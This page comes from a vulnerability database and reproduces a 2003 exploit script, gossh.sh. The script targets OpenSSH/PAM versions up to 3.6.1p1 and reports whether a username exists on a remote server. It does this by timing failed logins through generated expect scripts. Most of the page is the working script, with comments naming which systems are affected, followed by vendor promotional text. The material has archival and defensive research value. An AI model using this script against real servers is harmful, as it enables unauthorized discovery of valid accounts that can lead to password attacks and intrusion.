Lucene search
K

OpenSSH/PAM <= 3.6.1p1 Remote Users Ident (gossh.sh)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 29 Views

OpenSSH/PAM <= 3.6.1p1 Remote Users Ident (gossh.sh) by Nicolas Coutur

Code

                                                #!/bin/sh
# OpenSSH &#60;= 3.6.p1 - User Identification.
# Nicolas Couture - [email protected]
#
# Description:
#	-Tells you wether or not a user exist on
#	  a distant server running OpenSSH.
# 
# Usage:
#	-You NEED to have the host&#39;s public key
#	  before executing this script. 
#

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-#
# Fact Sheet:					 #
#	  o It is really accurate against	 #
#	    redhat boxes.			 #
# 	  o Linux boxes running grsecurity	 #
#	    has 10 seconds delay on both	 #
#	    valid AND invalid user login	 #
#	    attempts.				 #
#	  o *BSD boxes are not vulnerables and	 #
#	     always has 10 seconds delay like  	 #
#	     Linux-Grsec + network protection    #
#						 #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-#

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#
# History:				 
#	 Thu May  1 15:41:18 EDT 2003  
#	  ; Script started.		
#	 Thu May  1 16:42:30 EDT 2003	
#	  ; Script is functional.	             
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

# Let the user know how we work.
usage(){
 echo &#34;$0 &#60;user&#62; &#60;host&#62;&#34;
 exit 1
}

# Verify the arguments.
[ $# != 2 ] && usage

# Variables.
USER=&#34;$1&#34;
HOST=&#34;$2&#34;

#=-=-=-=-=-=-=-=-=-=-=-=-=#
# Expect script functions         #
#=-=-=-=-=-=-=-=-=-=-=-=-=#

# Expect script for password.
expasswd() {
cat &#60;&#60; EOF &#62; expasswd 
spawn $SSHCMD
expect password:
send &#39;\r&#39;
interact
EOF
}

# Expect script for error.
experror() {
cat &#60;&#60; EOF &#62; experror
spawn expect -f expasswd
expect again.
exit 1593
interact
EOF
}

#=-=-=-=-=-=-=-=-=-=#
# -Fake user timing      #
#=-=-=-=-=-=-=-=-=-=#

# OpenSSH client command for inexisting user.
export SSHCMD=&#34;ssh nicolas_couture@$HOST&#34;

# Build new expect script.
expasswd
experror

# Timing.
FDATE0=`date &#39;+%s&#39;`
echo &#34;[-] Calculating fake user timeout...&#34;
expect -f experror 1&#62; /dev/null 2&#62; /dev/null
FDATE1=`date &#39;+%s&#39;`

# Fake user timeout.
FUTO=`echo $FDATE1 - $FDATE0 | bc`
echo &#34;[+] Found $FUTO.&#34;

#=-=-=-=-=-=-=-=#
# -$USER timing    #
#=-=-=-=-=-=-=-=#

# OpenSSH command.
export SSHCMD=&#34;ssh $USER@$HOST&#34;

# Build new expect scripts.
expasswd
experror

DATE0=`date &#39;+%s&#39;`
echo &#34;[-] Calculating $USER timeout on $SERVER...&#34;
expect -f experror 1&#62; /dev/null 2&#62; /dev/null
DATE1=`date &#39;+%s&#39;`

# $USER timeout.
END=`echo $DATE1 - $DATE0 | bc`
echo &#34;[+] Found $END.&#34;

#=-=-=-=-=#
# -Result    #
#=-=-=-=-=#

if [ &#34;$FUTO&#34; -eq &#34;$END&#34; ] && [ &#34;$FUTO&#34; -eq &#34;10&#34; ]; then
 echo &#34;This box is not vulnerable.&#34;
 exit 1
fi

# Use of our magic skills.
if [ &#34;$FUTO&#34; -lt &#34;$END&#34; ]; then
 echo &#34;$USER exist on $HOST.&#34;
elif [ &#34;$FUTO&#34; -ge &#34;$END&#34; ]; then
 echo &#34;$USER doesn&#39;t exist on $HOST.&#34;
else
 echo &#34;Segmentation fault.&#34;
 exit 13
fi

# Remove tmp files.
rm -rf expasswd experror

# EOF

# milw0rm.com [2003-05-02]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation